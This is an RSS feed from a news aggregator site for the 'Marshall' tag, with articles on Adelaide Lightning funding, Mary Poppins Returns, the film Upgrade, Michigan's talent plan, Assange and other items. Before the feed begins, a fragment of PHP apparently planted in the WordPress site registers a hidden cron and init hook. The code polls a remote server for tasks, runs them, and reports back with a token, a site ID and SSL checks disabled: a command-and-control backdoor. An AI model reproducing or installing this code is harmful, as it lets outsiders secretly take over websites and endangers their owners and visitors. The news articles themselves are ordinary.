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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Marshall – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 03 Dec 2018 08:10:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Marshall – Brief News https://briefnews.eu 32 32 Lightning hollers for Marshall cash https://briefnews.eu/lightning-hollers-for-marshall-cash/ https://briefnews.eu/lightning-hollers-for-marshall-cash/#respond Mon, 03 Dec 2018 08:10:28 +0000 http://briefnews.eu/lightning-hollers-for-marshall-cash/ THE State Government has declared its commitment to women’s sport by not only announcing a sponsorship deal with the Crows AFLW team to the tune of $ 275,000, but reaffirming its desire to resolve the funding crisis plaguing basketball’s Adelaide Lightning.

As Premier Steven Marshall announced the funding boost, he also expressed his unreserved desire to see the Lightning survive and thrive as an elite women’s team.

The State Government — through the Motor Accident Commission — sponsors the Lightning, with $ 150,000 a season, but the club requires a white knight to fill a $ 500,000-a-season black hole.

“We’re obviously very concerned about the current situation,” the Premier said.

“We don’t want Adelaide Lightning to fold, they are an important part of our state’s history, and an important part of our state’s future.”

Mr Marshall said the government would be sitting down with Lightning officials next week to work on a solution.

“Let’s just sit down with them, understand what the current situation is for this season coming up and also what the longer term is going to be,” he said.

“We’ve already had some preliminary discussions, but we need to really now sit down and work out where we go with the Adelaide Lightning to make sure that it can remain in the competition and continue to do well like it has so many times in the past.”

And Crows chairman Rob Chapman has not entirely closed the door on the Adelaide Football Club becoming the long-term saviour of the beleaguered basketball club.

In June, the football club took sole ownership of the Adelaide Bite baseball team.

“I agree wholeheartedly (that) we do need to support and strengthen women’s basketball here,” Chapman said.

“I think our football club’s got good recent history in actually looking at a business case, obviously with the Adelaide Bite, and we’ve looked at a couple of other opportunities.

“This year’s a really big agenda for us, so I think it’s just a little bit early for us to consider, but that said we’re always open to ideas and I hope the Premier, who represents a government that does do a lot for sport in this state … hopefully they can find a way to do something this year and who knows what could happen into the future.”

A spokesman for the State Government said the Motor Accident Commission had the following partnership arrangements in women’s sport:

* Adelaide United — $ 55,000 per season: provides access to the Lady Reds in the W-League

* Adelaide Basketball — $ 150,000 per season: provides access to Adelaide Lightning to deliver road safety messages.

* Additionally, $ 70,000 to the Power Community Limited (the community arm of the Port Adelaide Football Club) to support the Aboriginal Power Cup and Will POWER programs, which supports both male and female engagement in education.

Yesterday, the government announced that the $ 275,000 in Crows funding would help grow female participation in football through pathways and development programs for young women across the state.

“We want to congratulate (the Crows) for the fantastic leadership work that they did to promote AFLW footy for women here in SA,” Mr Marshall said.

“Two years ago, there were a dozen (women’s) teams and now more than 100 … this is a fantastic result.”

Chapman said the government funding — combined with the Crows’ own resources — would help to bring to fruition the club’s original vision for women’s football.

“Which is providing a pathway for young girls and women to get to the elite level and follow their champions and heroes like Erin (Phillips) and Chelsea (Randall) and others,” he said.

He said some of the money would be spent improving grassroots infrastructure.

Crows co-captain and inaugural AFLW best and fairest, Erin Philips, welcomed the funding as important to deliver football to women and girls at a grassroots level.

“The growth in women’s football has been astronomical so it’s going to keep helping those numbers grow,” she said.

“I’m one of the lucky ones … I meet so many women who didn’t get that opportunity.”

Phillips — former captain and championship player for the Lightning — said she was keen to see a quick resolution to the situation.

“I’m very optimistic that someone or something will come to fruition and help them out because this state does need a professional women’s basketball team,” she said.

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]]> https://briefnews.eu/lightning-hollers-for-marshall-cash/feed/ 0 ‘Mary Poppins Returns’ Director Rob Marshall Breaks Down the New Cast [Set Visit] https://briefnews.eu/mary-poppins-returns-director-rob-marshall-breaks-down-the-new-cast-set-visit/ https://briefnews.eu/mary-poppins-returns-director-rob-marshall-breaks-down-the-new-cast-set-visit/#respond Mon, 12 Nov 2018 20:14:56 +0000 http://briefnews.eu/mary-poppins-returns-director-rob-marshall-breaks-down-the-new-cast-set-visit/

I visited the London set of Mary Poppins Returns back in 2017 and came away thoroughly charmed. Director Rob Marshall‘s upcoming sequel to the Disney classic looks to have its heart in the right place every step of the way, complete with two thoroughly charming leads, elaborate musical numbers, and even an extended animation sequence where the cast gets to dance with cartoon animals. It all seems so lovely.

With the film now just over a month away, a new batch of images has arrived alongside a new featurette diving into how the film came together. And because we have even more from our original set visit that didn’t make the initial cut, we’ve packaged it all together with some quotes from Rob Marshall about the new cast, that big animated sequence, and more.

This is Not a Remake

One thing that was emphasized time and time again during our set visit was that Mary Poppins Returns is not a remake of the 1964 classic. No, this is a proper sequel, set several decades later and following the same characters and a collection of newcomers. It’s very much intended to continue the story of the first movie, not replace it.

Marshall explained that Poppins author PL Travers offered them a wealth of material to work with in her other books. Plus, it had to be a sequel because he would never even consider a straight-up remake of a movie as iconic as Mary Poppins:

“Well, of course, it’s daunting. You are following a classic film. But what I was unaware of, and became aware of, is that PL Travers wrote eight books throughout the course of her life, so there was so much material. The second book was called “Mary Poppins Comes Back,” and then there was one called “Mary Poppins Opens the Door” and “Mary Poppins in the Park,” there were all these books that she wrote, so there was already all this material that existed. And I know that in the ‘80s for instance, when Jeffrey Katzenberg was at Disney, I know they explored the possibility of doing a sequel, and why wouldn’t you, especially with all of this material? But, as we famously know, PL Travers was very protective of the material so it was always very difficult to try and make happen. And having seen the first film, I would never consider a remake…you don’t touch that film.” 

There Had to be an Animated Sequence

Like many fans of the original movie, Marshall knew the sequel needed a scene where Mary Poppins and the other characters enter an animated world. So he found a sequence from another Travers book that would allow them to do just that:

“I mean honestly, as a huge fan of the first film, what would I want to see? I’d be so disappointed if they they didn’t disappear into a world of animation, because if you go back to the PL Travers’ books, in the first one they go into a chalk painting…in “Mary Poppins Comes Back” they go into a Royal Doulton bowl. They disappear into it, so it just made sense to do because it felt like it was in the DNA of that world. And we’ve obviously come a long way in terms of animation. Most of it is computer-generated now, but what’s lost with that is that sense of artistry, this beautiful and extraordinary work.”

However, it was this sequence (as well as other elaborate set pieces) that necessitated such a lengthy post-production process:

“I really thought it would almost feel new again because it hasn’t been done for so long, and what was really quite extraordinary is that many animators came out of retirement. Also very interesting, we had a lot of animators in their 20s who were much more interested in doing the old school animation as opposed to the new computer-generated work, and it was fascinating to see them at work. And now we can move the camera through a two-dimensional painting in a more modern way so that you’re actually inside it. If Disney would have had this technology back then, I’m sure he would have used it, too. So when you see the film, you are in this 2D hand-painted world but in a three-dimensional way. It’s why our post production has been longer than normal. I mean, we have all been in post-production for a year because of that, but it is live action and animation so there’s this wonderful interaction between the two, and I believe everyone feels it was worth it. Everyone agreed it felt fresh again, when you see them speaking to these animated characters that are drawn that way and you feel that artistry, you feel a sense of nostalgia.”

Only Emily Blunt Could Play Mary Poppins

If you take one look at Emily Blunt dressed as that magical nanny and think, “Yeah, I can’t imagine any other modern actress playing this role,” you’re certainly not alone. Marshall agrees with you:

“Well, I had worked with her on Into the Woods, and I fell in love with her. There’s quite a list of things you must be able to do to play Mary Poppins, you need to be a great actor, but there’s also a humanity in the character. Even though she’s very upright and a strict nanny who is proper and so forth, underneath that there is this magical being who is bringing joy. Of course she would deny all of this, but underneath there has to be a warmth and an accessibility and joy and humor, so it was so important to find an actor who could do those things. But she also needed to sing and dance, which is very rare these days. And I thought it was important that she be British because it’s such an iconic British character. And having just worked with Emily, I get what she does. I get her humor…we’re very simpatico. In fact, I don’t know who else could play the role besides Emily, to be quite honest.” 

Lin-Manuel Miranda

Like seemingly everyone who has ever worked with the award-winning Hamilton creator, Marshall has nothing but nice things to say about Lin-Manuel Miranda:

“Here’s the thing about Lin, and if you spend time with him you would see…he’s like a bright pure spirit, and that’s truly who he is. So in addition to all the amazing skills he has as a writer and a composer, there’s not a jaded quality about him, which is very unique. And we were looking for a wonderful companion to Mary Poppins who goes on these adventures, someone with that same spirit, that sort of purity of spirit. This is the first project he chose to do after Hamilton, and the contemporary thing was actually very helpful, because we made this film that is set in 1934, in 2018.”

Miranda’s character in Mary Poppins Returns is essentially the new Burt, stepping in for Dick Van Dyke’s chimney sweep to act as companion to Mary and the Banks kids. And the role was built around Miranda’s unique presence:

‘And oddly enough, he is kind of an everyman, his character, and Lin understands that. The kind of character Dick Van Dyke played, which is the kind of character he’s playing, not a chimney sweep, but a lamplighter, but there are a lot of similarities. At the beginning of the film he’s rapping like he’s a one-man band, which just felt so right for him. The big question was what he would be interested in doing as his first project after Hamilton, and I think he was excited to be seen as an actor again and not as a composer or writer. Plus, I think he was excited to do his first big film, and seeing as how he had just become a father to another beautiful child, it just sat right with him.”

Meryl Streep

When you gender-swap a character from a PL Travers book, why not cast the legendary Meryl Streep? Marshall explained how Fred Turvy became Topsy Turvy:

“Well, there’s a character in the book “Mary Poppins Comes Back,” named Fred Turvy, a man, so we thought well, that’s interesting. He was similar to Uncle Albert from the first film because when PL Travers wrote these books, they always have some similarities. So there was a great character, a really fun character who fixes things, and they went to fix this bowl that they break. And the message is that he sees things from a different point of view because everything turns upside down on this certain day and Mary Poppins explains that sometimes it’s good to see things from a different point of view, so it’s a beautiful message, a wonderful message for kids. And so we thought, if it were a woman, what if we worked with someone that we adore, that I adore, and who we just worked with on Into the Woods: Meryl Streep. I wonder if she’d be interested in doing a character part like this, a small part, just one sequence in the film, so I asked her and she said, ‘What took you so long to ask?’ She said, ‘Of course,’ for the reason I explained before. She said she wanted so much to be a part of bringing this kind of film to the world, so that was very exciting.”

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Mary Poppins Returns hits theaters on December 19, 2018.

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]]> https://briefnews.eu/mary-poppins-returns-director-rob-marshall-breaks-down-the-new-cast-set-visit/feed/ 0 ‘Upgrade’ Trailer: Logan Marshall Green Kicks Serious Ass With Help From His Operating System https://briefnews.eu/upgrade-trailer-logan-marshall-green-kicks-serious-ass-with-help-from-his-operating-system/ https://briefnews.eu/upgrade-trailer-logan-marshall-green-kicks-serious-ass-with-help-from-his-operating-system/#respond Tue, 03 Apr 2018 18:59:50 +0000 http://briefnews.eu/upgrade-trailer-logan-marshall-green-kicks-serious-ass-with-help-from-his-operating-system/ Upgrade trailer

Are you ready for some hyper-violent science fiction starring a guy who looks like Tom Hardy, but isn’t? Leigh Whannell, the writer of Saw and creator of the Insidious franchise, is here to scratch your itch with Upgrade, a piece of hardcore pulp entertainment starring Logan Marshall Green that won the Midnighter Audience Award at this year’s SXSW film festival.

Blumhouse Tilt just released a red-band Upgrade trailer, and if you’re even remotely interested in sci-fi or action filmmaking, stop what you’re doing, because you need to see this right now.

Upgrade Trailer

The revenge plot is pure pulp, and adding the fact that Logan Marshall Green’s character (whose name is Grey Trace, an excellent action character name) is being controlled by his operating system could not possibly be more perfectly timed to current events in our world right now. Little by little, we’re all constantly ceding control of our lives to companies like Facebook and Google, so why not take that idea to its logical conclusion?

This also reminds me of a cross between the Bourne movies, in which Matt Damon unlocks a latent ability to kick ass, and Neill Blomkamp’s Elysium, in which Matt Damon is operated on and given a high-powered exoskeleton. This should have starred Matt Damon, is what I’m saying.

Matt Donato reviewed the movie for /Film at SXSW, and had some very high praise for it:

Leigh Whannell’s latest film Upgrade is one of the most strikingly invigorated sci-fi watches I’ve been awestruck by in quite some time. I’m talking *hard* sci-fi, with callbacks to anything from eXistenZ to The Matrix to Minority Report. Whannell customizes an “efficient” future not so far from our own, where self-driving Loop Dash vehicles chauffeur around bioengineered super-beings and pizzas aren’t ordered, they’re printed. It’s the kind of SmartHouse, techno-takeover world that Apple users dream of, blackened and revenge-ified by Whannell’s oddly apt Her meets Weekend At Bernie’s scramble – with way more splattered blood and guts.

Man, I can’t wait to see this for myself.

Take a look at the movie’s new teaser poster:

Upgrade Poster Slashfilm

Here’s the green-band trailer for the two people who read this far but didn’t actually watch the red-band trailer:

And finally, here’s the film’s official synopsis:

UPGRADE is a thrilling and hyper violent vision of the future from the producers of GET OUT and THE PURGE, and the creator of SAW and INSIDIOUS.

After his wife is killed during a brutal mugging that also leaves him paralyzed, Grey Trace (Logan Marshall Green, SPIDER-MAN: HOMECOMING, PROMETHEUS) is approached by a billionaire inventor with an experimental cure that will “upgrade” his body. The cure – an Artificial Intelligence implant called STEM – gives Grey physical abilities beyond anything experienced and the ability to relentlessly claim vengeance against those who murdered his wife and left him for dead.

Upgrade arrives in theaters on June 1, 2018.

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]]> https://briefnews.eu/upgrade-trailer-logan-marshall-green-kicks-serious-ass-with-help-from-his-operating-system/feed/ 0 Will China’s Belt and Road Initiative outdo the Marshall Plan? https://briefnews.eu/will-chinas-belt-and-road-initiative-outdo-the-marshall-plan/ https://briefnews.eu/will-chinas-belt-and-road-initiative-outdo-the-marshall-plan/#respond Thu, 08 Mar 2018 21:45:15 +0000 http://briefnews.eu/will-chinas-belt-and-road-initiative-outdo-the-marshall-plan/

SEVENTY years ago America passed the Economic Co-operation Act, better known as the Marshall Plan. Drawing inspiration from a speech at Harvard University by George Marshall, America’s secretary of state, it aimed to revive Europe’s war-ravaged economies. Almost five years ago, at a more obscure institution of higher learning, Nazarbayev University in Kazakhstan, China’s president, Xi Jinping, outlined his own vision of economic beneficence. The Belt and Road Initiative (BRI), as it has become known, aims to sprinkle infrastructure, trade and fellow-feeling on more than 70 countries, from the Baltic to the Pacific.

Mr Xi’s initiative, which also has geopolitical goals (see Banyan), has invited comparison with America’s mid-century development endeavour. Some even suggest it will be far bigger. But is that credible? The Marshall Plan,…

]]> https://briefnews.eu/will-chinas-belt-and-road-initiative-outdo-the-marshall-plan/feed/ 0 Michigan’s ‘Marshall Plan for Talent’ aims to become model for tech education nationwide https://briefnews.eu/michigans-marshall-plan-for-talent-aims-to-become-model-for-tech-education-nationwide/ https://briefnews.eu/michigans-marshall-plan-for-talent-aims-to-become-model-for-tech-education-nationwide/#respond Fri, 23 Feb 2018 20:26:38 +0000 http://briefnews.eu/michigans-marshall-plan-for-talent-aims-to-become-model-for-tech-education-nationwide/

As tech executives call for state education programs to do a better job of providing STEM education, states are jockeying to show that they are attuned to the industry’s needs.

This week, Michigan’s Republican governor Rick Snyder unveiled what he calls the “Marshall Plan for Talent” — a $ 100 million, five-year investment to restructure Michigan’s education system to do a better job of preparing students for the tech fields that are positioned to have the most job openings. The program will incentivize school districts and universities to offer more work-based learning programs, through both state grants and bringing on private sector businesses as partners.

States launch talent development programs every year to little fanfare. So Gov. Snyder is taking on some risk by setting ambitious expectations for his state’s program — the original Marshall Plan was a $ 130 billion investment from the U.S. to help rebuild Europe after World War II that’s now frequently cited in history textbooks. But he believes the Marshall Plan can serve as a nationwide example for how states should be educating their students in the digital age, when so few states are ill-equipped to do so.

“This talent gap has been a huge problem everywhere, so let’s be the best at solving it because it will be a great economic engine for Michigan and good for our nation,” he told VentureBeat in a phone interview.

Gov. Snyder’s term ends in 2018, and term limits make him ineligible for re-election. How transformative the talent development program will truly be is up for debate. But many of the pillars of the plan echo some of the most popular ideas being currently being discussed in tech education.

Learning on and for the job

Portions of the talent development program were first uncovered as part of the city of Detroit’s unsuccessful bid to land Amazon HQ2, alongside the Canadian city of Windsor. Gov. Snyder, a former venture capitalist, told VentureBeat that representatives from Amazon did express concerns about the state’s ability to provide talent.

“I think the whole Amazon headquarters process was a helpful catalyst to really make sure our citizens can appreciate what we need to to to address this question [of how to train talent],” Gov. Snyder said.

The most concrete goal of the Marshall Plan for Talent is to ensure that Michiganders have the skills needed to fill a projected 811,055 statewide job openings through 2024 in five industries — information technology and computer science; manufacturing; health care; professional trades; and other business services jobs like financial managers and market researchers.

The way Gov. Snyder sees it, most degrees are awarded based upon “how many classes you attend and how many credit hours you took” — and the classes themselves don’t do a good enough job of giving the students the skills they need to land a job. In competency-based learning programs, students will have to pass a certification test or demonstrate the skills they’ve learned in a practical setting, like the workplace at the end of their program.

This is necessary not only to help students land a job, but also to help them prepare for a future where more of an emphasis will be placed on life-long learning, and workers will have to earn more certificates at different points in their career. One way to do so is through apprenticeships, which have received support from President Donald Trump.

This line of thinking is one that has been echoed by some in tech, most notably Google CEO Sundar Pichai.

“Twenty, thirty years ago — you educated yourself, and that carried you through for the rest of your life. That’s not going to be true for the generation which is being born now. They have to learn continuously over their lives — we know that, so we have to transform how we do education,” Pichai said told MSNBC and Recode last month.

Of the $ 100 million being doled out by the Marshall Plan for Talent, $ 50 million will go toward the creation of new educational programs and grants that will help schools transition to this new type of educational model. For example, grants will be provided to K-12 schools that work alongside businesses to develop new classes and make curriculum adjustments, as well as to purchase new technical equipment that the state hopes will be matched by the private sector.

A number of other states, such as Utah, are also placing a greater emphasis on turning to public-private partnerships to develop curriculum. Utah launched an IT Pathway Program in 2017 to kickstart a discussion between the tech community and educators about how to improve STEM education.

The governor’s plan also proposes $ 25 million toward the creation of scholarships for low-income residents — including those that can assist with other obstacles to education, like lack of access to transportation and child care. $ 20 million will go toward creating marketing and educational campaigns promoting career opportunities in the state of Michigan, and $ 5 million will go toward providing incentives for current teachers to receive training in areas that are currently understaffed, as well as finding ways to train career experts to become teachers.

Piloting the future of work

The Marshall Plan for Talent still needs to be approved by the state legislature along with the rest of Gov. Snyder’s 2019 budget. The governor’s website states that the plan will be paid for via bond refinancing.

Mark Muro, a senior fellow at the Brookings Institution, told VentureBeat that the $ 100 million allocation essentially amounts to “a line item” in the state budget. He views the Marshall Plan for Talent as more of a pilot than a one-time investment.

“Tech really lends itself to work-based learning. The question is that work-based learning clearly requires a lot of organization and a large number of employers who want to go down that path. So there’s both an organizing issue — who is going to set up and organize all of this? — and are these companies ready to embark on this?” Muro told VentureBeat.

The governor’s office cited existing partnerships with Microsoft’s TEALS program and Cisco — which runs a program in Michigan that offers IT courses that can be transferred to other state universities — as indicative of the level of interest the private sector has in working with schools.

Muro also noted that working with private companies might provoke fears of excessive market concentration — bigger companies will likely lobby to ensure their needs are met the most — so the state should also consider working with STEM nonprofits to develop curriculum.

In transitioning to this new model of competency-based learning, Michigan will face the same challenges as those traditionally faced by public universities and K-12 schools: ensuring that all students across the state will have access to the same resources, not just students in the wealthiest school districts or bigger cities; finding ways to lower the cost of education; and ensuring adequate access to the right teachers.

Michigan, like other states, faces a teacher shortage — the number of initial teaching certificates issued in Michigan each year has fallen from 6,077 in in 1996 to 3,696 in 2016, as spending for K-12 funding has seen its ups and downs in the state, particularly during the recession. “As I meet high school students who are coming up into the college level, there’s a very distinct level in skill sets based upon what was available at that high school that these students are coming from,” Tom Brady, a Michigan native and the CTO and cofounder of Ann Arbor-based drone inspection company SkySpecs, told VentureBeat.

Many of the most well-known tech startups in Michigan — such as Duo Security, currently the state’s only unicorn — are located in Ann Arbor, close to the University of Michigan, which they say has provided a healthy pipeline of engineering graduates. Brady, who founded SkySpecs in 2012, says that finding software developers is still difficult.

Another metric that the Marshall Plan for Talent will likely be judged on is: Can it provide enough talent as the state’s fast-growing tech startups continue to scale (SkySpecs currently has 23 employees) and successfully place students outside of Ann Arbor and Detroit, currently the city’s two biggest hubs for tech.

For Michigan, ensuring that its students are prepared for the economic distribution of the future holds a particular level of importance. As the auto industry was decimated starting in the early 2000s, the state lost jobs every year for nearly 10 years, before a turnaround starting in 2011.

“It [The Marshall Plan] was a one-time investment over a number of years that was a catalyst for fundamental transformation. And that’s what this is … we’re doing well as a state, [but] we had really difficult times,” Gov. Snyder told VentureBeat.

]]> https://briefnews.eu/michigans-marshall-plan-for-talent-aims-to-become-model-for-tech-education-nationwide/feed/ 0 ‘Marshall attack’: Assange sends Twitter into frenzy of speculation over chessboard https://briefnews.eu/marshall-attack-assange-sends-twitter-into-frenzy-of-speculation-over-chessboard/ https://briefnews.eu/marshall-attack-assange-sends-twitter-into-frenzy-of-speculation-over-chessboard/#respond Sat, 13 Jan 2018 10:36:41 +0000 http://briefnews.eu/marshall-attack-assange-sends-twitter-into-frenzy-of-speculation-over-chessboard/

Julian Assange has once again sent Twitter into a frenzy of speculation with another cryptic tweet – this time posting an image of a famous chess strategy, prompting suggestions the whistleblower is preparing ‘checkmate’.

The chessboard tweeted by Assange, unaccompanied by any text, shows a move from the Capablanca vs Marshall chess game of 1918 – considered one of the greatest defensive games of all time.

READ MORE: Ecuador has granted citizenship to Julian Assange, says Foreign Ministry 

The story goes that then-reigning US champion Frank Marshall spent years planning a surprise attack against Cuban rival José Raúl Capablanca, even avoiding playing the move in earlier matches so that he could spring it suddenly on his opponent at the right moment.

Nevertheless, Capablanca (represented on the board by white pieces) skilfully defeated Marshall’s attack and went on to win the game.

Speculation mounted over which color represented Assange and what exactly he was trying to convey with the mysterious tweet.

One Twitter user suggested that Assange’s choice to post this particular position may indicate that he has already left the Ecuadorian Embassy in London. Another interpretation, posted by the same user, mused that the ‘game’ could still be in play, but with Assange in a strong position.

Other avid chess fans pointed out that although checkmate is not inevitable, it could mean the game is coming to a close.

According to Twitter users the play tweeted by Assange suggests that three moves are needed to checkmate, generating other theories that the tweet relates to the impending publication of the US Department of Justice report into the FBI handling of the Hillary Clinton email investigation.

Or perhaps it’s just anticipating Trump’s upcoming ‘Fake News’ awards, others quipped. In any case the burning question remains: whose move is it?

READ MORE: ‘Assange status unchanged’ despite cryptic tweets, Ecuadorian embassy tells RT

Assange also changed the icon beside his Twitter profile name from a blue diamond to an egg timer – an image associated with Wikileaks and used on its website.

The Wikileaks founder, known for his profuse tweeting, has in the past two weeks only sent three tweets – all cryptic and igniting much conjecture online. Last week the Ecuadorian Embassy in London confirmed to RT.com that the WikiLeaks founder was still in the building.

READ MORE: ‘More records than the KGB’: Cryptic Assange tweet ignites concern for his wellbeing

The Ecuadorian Foreign Ministry announced this week that it had granted citizenship to Assange. The UK Foreign Office, however, rejected a request from Quito to grant the
whistleblower diplomatic status.

 

 

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]]> https://briefnews.eu/marshall-attack-assange-sends-twitter-into-frenzy-of-speculation-over-chessboard/feed/ 0 Death in Paradise season 7: Why is Kris Marshall leaving the BBC series? https://briefnews.eu/death-in-paradise-season-7-why-is-kris-marshall-leaving-the-bbc-series/ https://briefnews.eu/death-in-paradise-season-7-why-is-kris-marshall-leaving-the-bbc-series/#respond Thu, 04 Jan 2018 13:13:56 +0000 http://briefnews.eu/death-in-paradise-season-7-why-is-kris-marshall-leaving-the-bbc-series/

Why is Kris Marshall leaving Death in Paradise?  

Kris Marshall announced last year that he would be exiting Death in Paradise after starring as Humphrey Goodman in the BBC crime drama for three years.

The My Family actor, 44, decided to step down from the show due to family commitments and had told producers some time before he made the announcement in February.

Marshall, who lives in Somerset, was required to film Death in Paradise in Guadeloupe for a large part of the year.

The role meant temporarily relocating his whole family for the shoot which he felt was no longer practical. 

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Speaking in an interview at the time, he explained: “Every year except last year we took Thomas out with us. The only reason they didn’t come out last year was because my daughter was born and she was only three months old when filming started.” 

He continued to the Radio Times: “Thomas has basically spent half his life in the Caribbean. Every year he went to the same nursery in Guadeloupe. But now it’s time for him to put on scholastic shackles and toe the line.” 

Marshall added: “We decided I would do Death in Paradise for a few years until it became impractical. It was always quite a finite thing. I certainly didn’t hide it from anyone I work with.”

His announcement came a week before his onscreen replacement from the popular programme was revealed.

There was later speculation in summer last year that Marshall may have left Death in Paradise to become the new Time Lord on Doctor Who or even the companion. 

However, Jodie Whittaker was later unveiled as the 13th incarnation of the time traveller while Bradley Walsh was named as one her assistants. 

Marshall took over as main detective in Death in Paradise in 2014 after Ben Miller announced he would be leaving after three seasons.

Miller first launched the drama back in 2011 but decided to make an exit after three series as Richard Poole. 

Who will be replacing Kris Marshall on Death in Paradise?

Father Ted actor Ardal O’Hanlon was revealed as Marshall’s replacement and made his debut in season six as DI Jack Mooney. 

The show saw Goodman going to London on a new case and working with Mooney before the latter made the decision to relocate to the Caribbean island of Saint Marie.

Season seven will mark the first full season for O’Hanlon, 52, as his character gets to grips with life on the fictional island.   

Reflecting on Mooney, Marshall previously teased: “His character’s a lot more anecdotal, so the way he goes about things is different. 

“He’s also been recently widowed – and he has a daughter in her early 20s. So that’s a whole different dynamic.”

Who will be starring in Death in Paradise season 7?

Joining O’Hanlon on the new season of Death in Paradise will be veteran cast members including Joséphine Jobert as DS Florence Cassell, Danny John-Jules as Officer Dwayne Myers, Tobi Bakare as Officer JP Hooper, Don Warrington as Commissioner Selwyn Patterson and Elizabeth Bourgine as Catherine Bordey.

Grace Stone will be playing Mooney’s daughter Siobhan.

There will also be a series of guest appearances in this season with the likes of Game of Thrones actor James Faulkner, Harry Richardson and Richard Harrington from Poldark, and Sian Gibson from Carshare turning up.

Death in Paradise airs on BBC One tonight at 9pm.

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]]> https://briefnews.eu/death-in-paradise-season-7-why-is-kris-marshall-leaving-the-bbc-series/feed/ 0 Red carpet premieres for ‘Bladerunner 2049’ and ‘Marshall’ pushed back after Las Vegas shooting https://briefnews.eu/red-carpet-premieres-for-bladerunner-2049-and-marshall-pushed-back-after-las-vegas-shooting/ https://briefnews.eu/red-carpet-premieres-for-bladerunner-2049-and-marshall-pushed-back-after-las-vegas-shooting/#respond Tue, 03 Oct 2017 11:40:20 +0000 http://briefnews.eu/red-carpet-premieres-for-bladerunner-2049-and-marshall-pushed-back-after-las-vegas-shooting/ las vegas candlelight memorialREUTERS/Chris Wattie

LOS ANGELES (AP) — Two film premieres scheduled to be held in Los Angeles this week are being scaled back or cancelled entirely in the wake of the attack in Las Vegas.

Open Road Films said it is cancelling its Monday premiere of “Marshall,” and the studios behind “Blade Runner 2049” also decided to scale back its Tuesday premiere by nixing the red carpet portion of the event.

Estee Lauder is also cancelling a scheduled Pink Ribbon celebration on Monday in New York following the deadly shooting.

Elizabeth Hurley had been set to appear at Estee Lauder’s breast cancer awareness event Monday night. The company said in a statement it was canceling the event out of respect and extended compassion to the families of the victims.

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]]> https://briefnews.eu/red-carpet-premieres-for-bladerunner-2049-and-marshall-pushed-back-after-las-vegas-shooting/feed/ 0 ‘Marshall’ Trailer: Chadwick Boseman Brings Justice as Thurgood Marshall in Biopic https://briefnews.eu/marshall-trailer-chadwick-boseman-brings-justice-as-thurgood-marshall-in-biopic/ https://briefnews.eu/marshall-trailer-chadwick-boseman-brings-justice-as-thurgood-marshall-in-biopic/#respond Sat, 02 Sep 2017 06:11:32 +0000 http://briefnews.eu/marshall-trailer-chadwick-boseman-brings-justice-as-thurgood-marshall-in-biopic/ marshall trailer

Chadwick Boseman can’t seem to get enough of playing prolific black historical figures in biopics.

After putting on his dancing shoes as James Brown in Get On Up, Boseman’s latest turn is as the first African-American Supreme Court Justice Thurgood Marshall in the simply titled Marshall, when he was just a strapping young lawyer who can punch guys. It’s nice to see that the Black Panther training is paying off.

Boseman and co-stars Josh Gad and Sterling K. Brown introduced a first look for Marshall, putting on a brief little skit before the official trailer.

The Marshall trailer is pretty cut and dry as a biopic — barring the cool introductory moment of Boseman’s Thurgood when he fights three racist men at a bar. Rather than the dignified, austere impression we have of Thurgood Marshall as the lawyer who argued in front of the Supreme Court against segregation at schools with Brown v. Board of Education in 1954 and later as the first African-American Supreme Court justice in 1967, Boseman is a whip-smart and impassioned youth on a mission to defend the rights of black people with the law by his side. Tasked by the NAACP to take on a case of a black servant (Brown) who had allegedly assaulted a white socialite (Kate Hudson), Boseman brings on Josh Gad’s untried Jewish lawyer to help defend the case and fight bigotry.

It’s a stirring trailer that takes advantage of Boseman’s rising star, and drives the momentum along with a rousing hip-hop track at the end (which has lately become a staple of empowering trailers on the black experience, like Selma, Creed, and even Hidden Figures). But the talent is there, and I would gladly watch Boseman take on every black historical figure depicted in film.

Here’s the official synopsis for Marshall below:

MARSHALL, based on the early career of Supreme Court Justice Thurgood Marshall, follows the young lawyer (Chadwick Boseman) to conservative Connecticut to defend a black chauffeur (Sterling K. Brown) against his wealthy white socialite employer (Kate Hudson) in a sexual assault and attempted murder trial. In need of a high-profile victory but muzzled by a segregationist court, Marshall is partnered with young Jewish lawyer Samuel Friedman (Josh Gad) who has never tried a case. They struggle against a hostile storm of fear and prejudice, driven to discover the truth in a sensationalized trial that helped lay the groundwork for the Civil Rights Movement.

Marshall also stars Dan Stevens, and James Cromwell, and is directed by Reginald Hudlin. Marshall hits theaters October 13, 2017.

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]]> https://briefnews.eu/marshall-trailer-chadwick-boseman-brings-justice-as-thurgood-marshall-in-biopic/feed/ 0 In the closet with This Morning's Sharon Marshall https://briefnews.eu/in-the-closet-with-this-mornings-sharon-marshall/ https://briefnews.eu/in-the-closet-with-this-mornings-sharon-marshall/#respond Wed, 30 Aug 2017 06:35:34 +0000 http://briefnews.eu/in-the-closet-with-this-mornings-sharon-marshall/

Sharon MarshallS MAG

The soaps’ pundit loves to show off her curves in full 50s skirts

For Royal Ascot, Sharon would typically wear this retro dress from Collectif with a blue velvet Ronit Zilkha coat, Louboutin heels and a vintage hat she picked up on a trip to New York

